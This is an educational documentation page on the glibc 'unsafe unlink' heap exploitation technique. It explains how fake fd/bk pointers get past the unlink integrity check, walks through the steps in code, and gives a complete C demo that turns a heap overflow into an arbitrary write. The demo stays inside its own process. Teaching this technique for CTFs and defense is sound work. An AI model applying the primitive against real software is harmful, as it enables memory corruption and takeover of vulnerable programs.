Skip to main content

Overview

Unsafe unlink is a classic heap exploitation technique that leverages the unlink macro in glibc’s malloc implementation. When a chunk is freed and consolidated with adjacent free chunks, the unlink operation can be exploited to achieve arbitrary memory writes if proper checks are bypassed.
This technique can be used when you have a pointer at a known location to a region you can call unlink on. The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.

Glibc Version Compatibility

Working Versions

All glibc versions (2.23 - 2.41+)

Requirements

Must bypass P->fd->bk == P && P->bk->fd == P check

What Does This Technique Achieve?

The unsafe unlink technique allows an attacker to:
  • Corrupt global pointers to point to arbitrary memory locations
  • Achieve arbitrary memory write by dereferencing the corrupted pointer
  • Bypass modern heap protections by satisfying unlink consistency checks
Starting with glibc 2.27, you need to allocate chunks larger than fastbin/tcache ranges (typically 0x420 bytes or more) to ensure they go into unsorted bins.

The Vulnerability

This attack exploits:
  1. Heap overflow - ability to overwrite chunk metadata
  2. Known pointer location - a global/static pointer to a heap chunk
  3. Unlink consolidation - backward consolidation during free()

Technical Details

The unlink macro performs this critical check:
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
  malloc_printerr ("corrupted double-linked list");
To bypass this, we need:
  • P->fd->bk == P
  • P->bk->fd == P
Where P is our fake chunk.

Memory Layout

+-------------------+
| chunk0_ptr (BSS)  |  <-- Global pointer
+-------------------+
         |
         v
+-------------------+
|   Chunk 0 (heap)  |
|  +-------------+  |
|  | Fake Chunk  |  |  <-- fd = &chunk0_ptr - 24
|  |             |  |      bk = &chunk0_ptr - 16
|  +-------------+  |
+-------------------+
|   Chunk 1 (heap)  |  <-- Victim chunk (metadata corrupted)
+-------------------+

Step-by-Step Exploitation

1

Allocate Chunks

Allocate two chunks where the first contains a global pointer:
int malloc_size = 0x80;  // or 0x420 for glibc >= 2.27
chunk0_ptr = (uint64_t*) malloc(malloc_size);
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size);
2

Create Fake Chunk

Inside chunk0, create a fake chunk with carefully crafted fd/bk pointers:
// Setup fd so that P->fd->bk == P
chunk0_ptr[2] = (uint64_t) &chunk0_ptr - (sizeof(uint64_t)*3);

// Setup bk so that P->bk->fd == P  
chunk0_ptr[3] = (uint64_t) &chunk0_ptr - (sizeof(uint64_t)*2);
This satisfies the unlink check because:
  • fd->bk points to offset 24 bytes into fd, which we control
  • bk->fd points to offset 16 bytes into bk, which we control
3

Corrupt Chunk1 Metadata

Overflow from chunk0 to modify chunk1’s metadata:
uint64_t *chunk1_hdr = chunk1_ptr - 2;

// Set prev_size to match our fake chunk location
chunk1_hdr[0] = malloc_size;

// Clear PREV_INUSE bit to mark previous chunk as free
chunk1_hdr[1] &= ~1;
4

Trigger Unlink

Free chunk1 to trigger backward consolidation:
free(chunk1_ptr);
During consolidation, the unlink macro executes:
FD->bk = BK;  // chunk0_ptr now points to &chunk0_ptr - 16
BK->fd = FD;
5

Arbitrary Write

Now chunk0_ptr points near itself. Use this to achieve arbitrary write:
char victim_string[8];
strcpy(victim_string, "Hello!~");

// Make chunk0_ptr point to victim_string
chunk0_ptr[3] = (uint64_t) victim_string;

// Overwrite victim_string
chunk0_ptr[0] = 0x4141414142424242LL;

Full Source Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

uint64_t *chunk0_ptr;

int main()
{
	setbuf(stdout, NULL);
	printf("Welcome to unsafe unlink 2.0!\n");
	printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
	printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
	printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

	int malloc_size = 0x80; //we want to be big enough not to use fastbins
	int header_size = 2;

	printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

	chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
	uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
	printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
	printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

	printf("We create a fake chunk inside chunk0.\n");
	printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
	chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
	printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
	printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
	chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
	printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
	printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

	printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
	uint64_t *chunk1_hdr = chunk1_ptr - header_size;
	printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
	printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
	chunk1_hdr[0] = malloc_size;
	printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
	printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
	chunk1_hdr[1] &= ~1;

	printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
	printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
	free(chunk1_ptr);

	printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
	char victim_string[8];
	strcpy(victim_string,"Hello!~");
	chunk0_ptr[3] = (uint64_t) victim_string;

	printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
	printf("Original value: %s\n",victim_string);
	chunk0_ptr[0] = 0x4141414142424242LL;
	printf("New Value: %s\n",victim_string);

	// sanity check
	assert(*(long *)victim_string == 0x4141414142424242L);
}
Key difference in glibc 2.27+: Use malloc_size = 0x420 instead of 0x80 to avoid tcache bins.

HITCON CTF 2014

stkof - Classic unsafe unlink exploitation

Insomni'hack 2017

Wheel of Robots - Modern unsafe unlink variant

Practice

Try it in your browser

Debug this technique interactively on Ret2 Wargames

References

Build docs developers (and LLMs) love